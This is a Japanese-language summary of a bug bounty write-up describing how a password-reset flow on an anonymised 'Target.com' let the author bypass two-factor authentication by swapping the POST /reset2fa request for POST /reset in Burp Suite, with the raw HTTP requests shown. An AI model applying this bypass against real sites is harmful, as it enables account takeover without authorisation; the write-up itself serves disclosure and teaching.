Hello there, ('ω')ノ
パスワードのリセット中に2FAをバイパスする方法を。
脆弱性:
2FAバイパス
パスワードリセットの欠陥
記事:
https://infosecwriteups.com/how-i-bypass-2fa-while-resetting-password-3f73bf665728
今回は、「Hackerone」のプライベートプログラムで、2FAをバイパスすることを。
目標に設定していたので、「二要素認証」をバイパスする方法をすべてチェックして。
理解を深めるために、この記事を2つのパートに分けて。
1.Webアプリケーションの機能を理解して。
2.二要素認証をバイパスして。
ウェブサイトの名前を公開できないので、「Target.com」と呼ぶことに。
考えられるすべての方法を確認した後、パスワード機能をリセットするようになり。
パスワードリセットリンクを送信してブラウザで開いて。
「https://abc.target.com/reset/<token>」
新しいパスワードを入力して。
[次へ]ボタンをクリックし、リクエストをBurp Suiteでキャプチャして。
Request:
POST /reset2fa HTTP/1.1
Host: abc.target.com
..
_csrf=<token>&reset_key=<key>&password=Test@123
このリクエストを転送した後、2FAページにリダイレクトされて。
下記が、2FAページで。
ここで、アカウントから2FAを無効にして。
2FAが有効/無効の場合の両方の要求の違いを確認して。
今度は、同じ手順で新しいパスワードを要求して。
新しいパスワードを入力し、Burp Suiteでリクエストをキャプチャして。
Request:
POST /reset HTTP/1.1
Host: abc.target.com
..
_csrf=<token>&reset_key=<key>&password=Test@123
リクエストを転送した後、ダッシュボードにリダイレクトされて。
バイパスパーツ
リクエストを比較すると。
「POST /reset」がダッシュボードにリダイレクトされ。
「POST /reset2fa」が2FAページにリダイレクトされていることがわかって。
バイパスするために、2FAを再度有効にして、パスワードのリセットを要求して。
「https://abc.target.com/reset/<token>」
新しいパスワードを入力し、リクエストをBurp Suiteでキャプチャして。
Original Request:
POST /reset2fa HTTP/1.1
Host: abc.target.com
..
_csrf=<token>&reset_key=<key>&password=Test@123
「POST/reset2fa」を「POST/reset」に変更
Modified request:
POST /reset HTTP/1.1
Host: abc.target.com
..
_csrf=<token>&reset_key=<key>&password=Test@123
リクエストを転送し、ダッシュボードにリダイレクトされて。
Best regards, (^^ゞ